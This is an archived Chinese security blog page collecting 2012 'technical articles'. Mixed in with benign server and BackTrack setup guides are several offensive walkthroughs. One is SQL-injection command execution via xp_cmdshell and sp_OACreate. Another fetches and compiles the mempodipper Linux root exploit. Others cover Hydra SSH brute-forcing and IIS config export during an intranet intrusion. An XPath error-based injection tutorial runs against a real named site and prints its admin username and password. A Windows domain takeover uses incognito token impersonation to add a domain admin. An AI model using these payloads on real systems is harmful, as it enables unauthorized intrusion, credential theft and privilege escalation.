存档

‘技术文章’ 分类的存档

无xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令

2012年3月16日 1 条评论 0 views

利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句:

EXEC master.dbo.xp_cmdshell 'dir c:\'

但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。

对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。
阅读全文...

解决BackTrack 5 R2 Metasploit Bug

2012年3月8日 没有评论 0 views

Metasploit 在 BackTrack 5-R2 中启动不起来

解决办法:

cd /opt/metasploit/common/lib

mv libcrypto.so.0.9.8 libcrypto.so.0.9.8-b

mv libssl.so.0.9.8 libssl.so.0.9.8-backup

ln -s /usr/lib/libcrypto.so.0.9.8

ln -s /usr/lib/libssl.so.0.9.8

msfupdate

BackBox Linux 2.01

2012年3月6日 1 条评论 0 views

BackBox是基于Ubuntu的发行,它被开发用于网络渗透测试及安全评估。它被设计为快捷且易于使用。它提供了一份最低纲领的但完整的桌面环境,而这得益于它自己的软件仓库,该仓库总是同步到最新版本的、最常用且以合乎道德而闻名的黑客工具。

阅读全文...

分类: 技术文章 标签: ,

Linux 2.6.39 到 3.2.0 爆提权漏洞

2012年3月6日 没有评论 0 views

1.下载漏洞利用文件

wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c

2.编译

gcc mempodipper.c -o mempodipper

3.执行前察看

netcat@netcat:~$ uname -r
3.0.0-12-generic
netcat@netcat:~$ cat /etc/issue
Ubuntu 11.10 n l

netcat@netcat:~$ uname -a
Linux netcat 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686 i686 i386 GNU/Linux
netcat@netcat:~$ id
uid=1000(netcat) gid=1000(netcat) 组=1000(netcat),4(adm),20(dialout),24(cdrom),46(plugdev),116(lpadmin),118(admin),124(sambashare)
阅读全文...

分类: 技术文章 标签: ,

BackTrack 5 从R1 升级到 BackTrack 5 R2

2012年3月6日 没有评论 0 views

Thelong awaited release of the BackTrack 5 R2 kernel has arrived, and it’s now available in our repositories. With a spanking brand new 3.2.6 kernel, a huge array of new and updated tools and security fixes, BT5 R2 will provide a more stable and complete penetration testing environment than ever before. We will start a series of blog posts on how to upgrade, deal with VMWare, and even build your own updated BT5 R2 by yourself. For now though, here’s how to get the new kernel and all of the updated goodness:

 

1. Update and upgrade your BT5 (R1) installation:

apt-get update
apt-get dist-upgrade
apt-get install beef
reboot
分类: 技术文章 标签:

CentOS 6 编译安装Nginx+PHP+Mysql

2012年2月17日 没有评论 67 views

[1].安装 Nginx

1,添加一个不能登录且没有主目录的用户:

1
# useradd www -M -s /sbin/nologin

2,必要的组件

1
2
3
4
5
# unzip pcre-8.13.zip
# cd pcre-8.13
# ./configure
# make && make install

3,编译nginx并安装

1
2
3
4
# tar -zxvf nginx-1.1.2.tar.gz
# cd nginx-1.1.2
# ./configure --prefix=/usr/local/nginx --user=www --group=www --with-http_stub_status_module --with-http_ssl_module
# make && make install

[2].安装 PHP

1,安装必要的组件

1
2
3
4
5
6
# yum -y install libjpeg-devel libpng-devel
# tar -zxvf libmcrypt-2.5.7.tar.gz
# cd libmcrypt-2.5.7
# ./configure
# make && make install

==64位系统==

1
# ln -s /usr/lib64/mysql/ /usr/lib/mysql

==64位系统==

2,编译php并安装

1
2
3
# cd php-5.3.8
# ./configure --prefix=/usr/local/php --with-iconv --with-zlib --enable-xml --disable-rpath --enable-safe-mode --enable-bcmath --enable-shmop --enable-sysvsem --enable-inline-optimization --with-curl --with-curlwrappers --enable-mbregex --enable-mbstring --with-mcrypt --with-gd --enable-gd-native-ttf --with-openssl --with-mhash --enable-pcntl --enable-sockets  --with-xmlrpc --enable-zip --enable-soap --without-pear --with-mysql --with-mysqli --enable-sqlite-utf8 --with-pdo-mysql --enable-ftp --with-jpeg-dir --with-freetype-dir --with-png-dir --enable-fpm --with-fpm-user=www --with-fpm-group=www
# make && make install

3,拷贝和修改php配置文件

1
2
3
# cp php.ini-production /usr/local/php/lib/php.ini 或是 /usr/local/lib/php.ini
# cp /usr/local/php/etc/php-fpm.conf.default /usr/local/php/etc/php-fpm.conf
# /usr/local/php/bin/php --ini   //测试ini文件是否加载

修改php.ini

1
2
3
4
5
6
7
8
9
10
[PHP]
safe_mode = On
register_globals = Off
magic_quotes_gpc = Off
allow_url_fopen = Off
allow_url_include = Off
expose_php=Off
disable_functions = shell_exec,system,exec,passthru,show_source,curl_exec,curl_multi_exec,get_cfg_var
[Date]
date.timezone = “Asia/Shanghai”

修改php-fpm.conf

1
2
3
4
5
6
7
8
9
10
11
[global]
pid = run/php-fpm.pid
error_log = log/php-fpm.log
log_level = notice
emergency_restart_threshold = 0
emergency_restart_interval = 0
[www]
pm.start_servers = 20
pm.min_spare_servers = 5
pm.max_spare_servers = 35
pm.max_requests = 500

4,添加服务启动脚本

1
2
3
4
5
6
7
8
# cp nginx /etc/init.d/nginx
# cp php-fpm /etc/init.d/php-fpm
# chmod 755 /etc/init.d/nginx
# chmod 755 /etc/init.d/php-fpm
# chkconfig --add nginx
# chkconfig --add php-fpm
# chkconfig nginx on
# chkconfig php-fpm on

[3].安装 Mysql

3.1, 创建mysql安装目录

1
# mkdir -p /usr/local/mysql/

3.2, 创建数据存放目录

1
# mkdir -p /data/mysql/

3.3, 创建用户和用户组与赋予数据存放目录权限

1
2
# useradd mysql -M -s /sbin/nologin
# chown mysql.mysql -R /data/mysql/

3.4, 安装必要的组件

1
2
# yum -y install cmake
# yum -y install ncurses-devel

3.5, 编译安装Mysql

1
2
# cmake -DCMAKE_INSTALL_PREFIX=/usr/local/mysql -DMYSQL_UNIX_ADDR=/data/mysql/mysql.sock -DDEFAULT_CHARSET=utf8 -DDEFAULT_COLLATION=utf8_general_ci -DWITH_EXTRA_CHARSETS:STRING=utf8,gbk -DWITH_MYISAM_STORAGE_ENGINE=1 -DWITH_INNOBASE_STORAGE_ENGINE=1 -DWITH_MEMORY_STORAGE_ENGINE=1 -DWITH_READLINE=1 -DENABLED_LOCAL_INFILE=1 -DMYSQL_DATADIR=/data/mysql -DMYSQL_USER=mysql -DMYSQL_TCP_PORT=3306
# make && make install

3.6, 初始化数据库

1
2
# cd /usr/local/mysql
# scripts/mysql_install_db --user=mysql --basedir=/usr/local/mysql --datadir=/data/mysql/

3.7, 配置环境

1
2
3
4
5
# cp support-files/my-medium.cnf /etc/my.cnf
# cp support-files/mysql.server /etc/init.d/mysql
# chmod 755 /etc/init.d/mysql
# chkconfig mysql on
# export PATH=/usr/local/mysql/bin:$PATH

3.8, 启动并设置初始密码

1
2
# /etc/init.d/mysql start
# mysqladmin -uroot password '123123'

进行再修改密码的语句
1: UPDATE mysql.user SET Password = PASSWORD(‘newpwd’) WHERE User = ‘root’;(生新设置密码)
2: flush privileges;(刷新权限)

分类: 技术文章 标签: , , ,

BT5 R1 启动自动进入图形界面

2012年2月17日 没有评论 51 views

第一种,直接登录root用户的图形界面,不用输入密码

1,安装rungetty

1
# apt-get install rungetty

2,编辑 /etc/init/tty1.conf

1
# gedit  /etc/init/tty1.conf

将exec这一段注释掉并加一句

1
2
#exec /sbin/getty 38400 tty1
exec /sbin/rungetty tty1 --autologin root

3,编辑.bash_profile文件,如果没有则建立它

1
# gedit /root/.bash_profile
1
startx

第二种:直接启动到图形界面,提示输入用户密码

1,安装gdm

1
# sudo apt-get install gdm

2,设置默认为gdm

1
# sudo update-rc.d gdm defaults

3.编辑grub

1
# vim /etc/default/grub

GRUB_CMDLINE_LINUX_DEFAULT=”text splash vga=791″
修改成quiet
GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash vga=791″

4.更新grub

1
# sudo update-grub

5.重启

1
# inti 6
分类: 技术文章 标签: ,

BT5 R1 下VPN拨号 安装networkmanager

2012年2月17日 没有评论 36 views

1,VPN拔号:

1
2
3
4
5
6
7
# apt-get install network-manager-gnome
# apt-get install network-manager-pptp
# apt-get install network-manager-vpnc
# cp /etc/network/interfaces /etc/network/interfaces.backup
# echo "auto lo" > /etc/network/interfaces
# echo "iface lo inet loopback" >> /etc/network/interfaces
# service network-manager restart

安装并重启network-manager后,Gnone菜单右上角出现网络的图标,点击添加VPN即可

2, Wicd Network Manager 无线连接界面出错:
Could not connect to wicd’s D-Bus interface.Check the wicd log for error messages.
解决办法:

1
2
# dpkg-reconfigure wicd
# update-rc.d wicd defaults
分类: 技术文章 标签: ,

Hydra 爆破ssh

2012年2月15日 没有评论 70 views

apt-get purge hydra
apt-get install cmake libssl-dev

cd /usr/local/src
wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
tar zxf libssh-0.4.8.tar.gz
cd libssh-0.4.8
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
make
make install

cd /usr/local/src
wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
tar zxf hydra-6.3-src.tar.gz
cd hydra-6.3-src
./configure
make
make install

 

最后来张效果图

虽然没成功爆出密码,但是能看出爆破速度效率还是不错的

分类: 技术文章 标签: ,

Xpath SQL Injection

2012年2月10日 没有评论 115 views

So a few XPath Injection tutorials have been getting posted, and since I haven't seen much info on the updatexml method, I'd thought I'd make a quick tutorial for it.Now I'll be going over both methods just for the sake of adding it to my mega-thread.

Extract Value

I'll be using this site as an example.

Code:
http://leadacidbatteryinfo.org/newsdetail.php?id=51

Version (ExtractValue)

Code:
+and+extractvalue(rand(),concat(0x7e,version()))--

This will return our XPATH Syntax error, and give us our version.
This is what my link looks like.
Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,version()))--

Code:XPATH syntax error: '~5.1.52-log'

 

You should get your version.

Getting The Tables (Extract Value)

 

Code:+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema. ​tables+where+table_schema=database()+limit+0,1)))--
My link looks like this.
Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from ​+information_schema.tables+where+table_schema=database()+limit+0,1)))--

So lets load it up and see if we get our first table name!

Code:

XPATH syntax error: '~pdigclicks'
Woot it worked! Now we just increment in our limit statement until we find our table we want columns from.

Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from ​ +information_schema.tables+where+table_schema=database()+limit+[b]1[/b],1)))--

Code:

XPATH syntax error: '~pdigengine'

(#‵′)凸
We want users or admin..
Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from ​ +information_schema.tables+where+table_schema=database()+limit+[b]2[/b],1)))--

Code:

XPATH syntax error: '~pdigexcludes'

 

Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+table_name+from ​ +information_schema.tables+where+table_schema=database()+limit+[b]10[/b],1)))--
Code:
XPATH syntax error: '~tbladmin'

Woot, now let's get the columns.

 

Getting The Columns (ExtractValue)
First off, we want to convert our table name to hex.
My table name was tbladmin.
Whenever you convert something to hex, you add 0x in front of it.
It tells the site to read the hex value.
The hex of tbladmin is 74626c61646d696e
So it should look like this.
Code:0x74626c61646d696e
Now to get our columns, we change our syntax a bit, but it's still generally the same idea.
Code:+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema ​.columns+where+table_name=0xTABLE_HEX+limit+0,1)))--]
Of course, replace TABLE_HEX with the hex value of your table name.
My link looks like this.
Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+column_name+fro ​ m+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1)))--

Code:
XPATH syntax error: '~adminid'

Now use increment in your limit statement until you find the columns you want.

 

Getting Data Out of Columns (ExtractValue)

Now that you've got your column names, you're going to want to put them in a concat statement.

Code:+and+extractvalue(rand(),concat(0x7e,(select+concat(column1,0x7e,column2)+from+T​ABLENAME+limit+0,1)))--
My columns I wanted were username and password, the 0x7e is the hex value of "~" which I'll use as a seperator.
My link looks like this.
Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=51+and+extractvalue(rand(),concat(0x7e,(select+concat(username ​,0x7e,password)+from+tbladmin+limit+0,1)))--
And as you can see, we get our XPath error with the admin login.

Code:XPATH syntax error: '~ishir~ishir123'

UpdateXML

 

Getting The Version (UpdateXML)

Code:+and+updatexml(0x7e,concat(0x7e,(version())),0)--

My link looks like this..

Code:leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,(version())),0)--

We get our XPATH Error that returns the version.
Code:

XPATH syntax error: '~5.1.52-log'

Getting The Tables (UpdateXML)

Code:+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+from+information_sch ​ema.tables+where+table_schema=database()+limit+0,1))),0)--

My link looks like this..

Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+ ​ from+information_schema.tables+where+table_schema=database()+limit+0,1))),0)--


Code:

XPATH syntax error: '~pdigclicks'

Now we know our first table is called pdigclicks. Let's see what else is in here....
Code:http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+ ​ from+information_schema.tables+where+table_schema=database()+limit+1,1))),0)--

Code:
XPATH syntax error: '~pdigengine'

For the sake of time, I know the table name I want is tbladmin.
Code:leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(table_name)+ ​ from+information_schema.tables+where+table_schema=database()+limit+10,1))),0)--
And there's our table.
Code:

XPATH syntax error: '~tbladmin'

Now let's get the columns from the table.

Getting Columns (UpdateXML)

Now it's the same idea, we just change the tables to columns, from the table name.

Code:+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name)+from+information_sc ​hema.columns+where+table_name=0xTABLE_HEX+limit+0,1))),0)--

Now my table name was tbladmin, so I convert that to hex and get 74626c61646d696e

My link looks like this.

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(column_name) ​ +from+information_schema.columns+where+table_name=0x74626c61646d696e+limit+0,1)) ​),0)--

 

Code:
XPATH syntax error: '~adminid'


Getting Data (UpdateXML)

Now once you've got your columns, concatenate them and get the from the table you want.
Code:

leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(column1,0x7e ​,column2)+from+TABLENAME+limit+0,1))),0)--

My link looks like this..
Code:

http://www.leadacidbatteryinfo.org/newsdetail.php?id=52+and+updatexml(0x7e,concat(0x7e,((select+concat(username,0x7 ​e,password)+from+tbladmin+limit+0,1))),0)--
Code:
XPATH syntax error: '~ishir~ishir123'

分类: 技术文章 标签: ,

命令行导出IIS配置信息

2012年1月31日 没有评论 54 views

渗透某内网时,得一内网SA,外网映射IP未知,开80端口,服务器不可外连,渴此机IIS配置信息,Google之,得方法,遂共享。

iiscnfg /export /f c:\chinadu.xml /sp / /children /inherited

但很多情况下如果在服务器直接执行的话,会报错cscript不是默认vbs解释器(iiscnfg是个VBS文件iiscnfg.vbs),所以我们应该用cscript加参数来运行:

cscript C:\WINDOWS\system32\iiscnfg.vbs /export /f c:\chinadu.xml /sp / /children /inherited

PS:开始/sp参数后面的路径老不对,后来发现用“/”根路径就可以了,信息还更全。
详细参数请Google。

PS:
标签有网站基本配置信息
标签有网站目录配置信息和其他配置信息
其它自己看

分类: 技术文章 标签: ,

How to attack a windows domain

2012年1月2日 没有评论 207 views

Get administrator rights on a workstation which is on a windows domain using whatever method you can find. (exploit, stolen password, smbrelay, phishing, etc). Look for the domain server. There are a variety of ways to do this. You can arp -a to find active IP’s or ping scan the network and then use the nbtstat tool to look for the right domain controller identifier or an obvious hostname.

You can also browse the network neighborhood or use the net view command.

Aquiring and cracking the hashes of your target is generally useful as well.

Enumerate group membership so you know who to target.

Get the usernames in the local administrators group:

C:WINDOWSsystem32>net localgroup administrators
net localgroup administrators
Alias name  administrators
Comment     Administrators have complete and unrestricted access to the computer/domain

Members
--------------------------------------
Administrator
BLACKHATDomain Admins
hacked
local_valsmith
root
The command completed successfully.

Enumerate the domain admins

C:WINDOWSsystem32>net group "domain admins" /domain
net group "domain admins" /domain
The request will be processed at a domain controller for domain blackhat.com.

Group name   Domain Admins
Comment      Designated administrators of the domain

Members

---------------------------------------------------
admin_valsmith      Administrator
The command completed successfully.

So admin_valsmith is our target domain admin. Lets say the workstation we hacked is on 172.16.1.10. We now need to find out of there are any security tokens we can access.

c:incognito>incognito -h 172.16.1.10 -u local_valsmith -p D0nth3ckm3 list_tokens -u
[*] Attempting to establish new connection to \172.16.1.10IPC$
[*] Logon to \172.16.1.10IPC$ succeeded
[*] Copying service to \172.16.1.10
[+] Existing service found and opend successfully
[*] Starting service
[+] Service started
[*] Connecting to incognito service named pipe
[+] Successfully connected to named pipe {3A864C7A-77E3-4092-BF4A-FC12020A7EED}
[*] Redirecting I/O to remote process

[*] Enumerating tokens
[*] Listing unique users found...

Delegation Tokens Available
==========================================
NT AUTHORITYLOCAL SERVICE
NT AUTHORITYNETWORK SERVICE
NT AUTHORITYSYSTEM
XPCLIENTlocal_valsmith

Impersonation Tokens Available
==========================================
BLACKHATadmin_valsmith
NT AUTHORITYANONYMOUS LOGON

[*] Service shutdown detected. Service executable file deleted
[*] Deleting service

So admin_valsmith is our target domain administrator and an impersonation token is available to us!

The above command assumes we have cracked the hash of the local admin and retrieved the password. This will connect to IPC$ share on the target and list any tokens that are available.

Next we will utilize this token to gain domain admin rights:

C:incognitoincognito -h 172.16.1.10 -u local_valsmith -p D0nth3ckm3 execute -c "blackhatadmin_valsmith" cmd

[*] Attempting to establish new connection to \172.16.1.10IPC$
[+] Logon to \172.16.1.10IPC$ succeeded
[*] Copying service to \172.16.1.10
[+] Existing service found and opend successfully
[*] Starting service
[+] Service started
[*] Connecting to incognito service named pipe
[+] Successfully connected to named pipe {3A864C7A-77E3-4092-BF4A-9047A294CE6D}
[*] Redirecting I/O to remote process

[*] Enumerating tokens
[*] Searching for availability of requested token
[+] Requested token found
[-] No Delegation token available
[*] Attempting to create new child process and communicate via anonymous pipe
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:WINDOWSsystem32>whoami
whoami
admin_valsmith

So we now have a shell with the rights of the domain administrator. We will add an account to the domain controller to demonstrate our access:

C:net user hacked 0h3ck3d! /add /domain
net user hacked 0h3cked! /add /domain
The request will be processed at a domain controller for domain blackhat.com.

The command completed successfully.

Now we want to add our account to the domain admin group. NOTE: often you don’t want to add an account, especially one named hacked as it is likely to be discovered by the admins.

C:net group "domain admins" hacked /add /domain
net group "domain admins" hacked /add /domain
The reuqest will be processed at a domain controller for domain blackhat.com

The command completed successfully.

At this point we have control over the domain and can likely log into any workstation which is on the domain.

Some further related reading:

One token to Rule them All: Post-Exploitation Fun in Windows Environments

Security implications of windows access tokens

Meta-Post_Exploitation.pdf

分类: 技术文章 标签: , ,